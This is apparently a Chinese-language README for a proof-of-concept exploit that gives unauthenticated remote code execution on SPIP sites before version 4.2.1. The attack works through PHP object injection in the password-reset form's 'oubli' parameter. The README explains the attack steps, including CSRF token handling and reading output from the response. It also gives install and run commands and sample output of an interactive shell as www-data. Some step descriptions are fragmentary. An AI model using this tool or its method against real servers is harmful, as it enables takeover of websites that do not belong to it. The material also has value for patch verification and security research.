
针对 SPIP < 4.2.1 版本中密码重置表单的 PHP 对象注入漏洞,实现未经认证的远程代码执行的概念验证利用程序。提供交互式 shell 并处理 CSRF 令牌。
SPIP 4.2.1 之前的版本存在未认证的远程代码执行漏洞。密码重置表单中的
oubli参数因反序列化处理不当,导致 PHP 对象注入。精心构造的序列化负载以 Web 用户身份在服务端执行,其输出会反映在响应中oubli输入字段的值内。
/spip.php?page=spip_pass 获取反 CSRF 令牌。oubli 参数中。value 属性中提取命令输出。python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4 prompt_toolkit
python3 exploit.py -u http://TARGET/spip
示例:
$ python3 exploit.py -u http://10.10.10.10/spip
[*] 正在获取反 CSRF 令牌...
[*] 正在测试命令执行...
[+] 目标存在漏洞!输出: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell 已打开。输入 'exit' 或按 Ctrl+C 退出。
Shell> whoami
www-data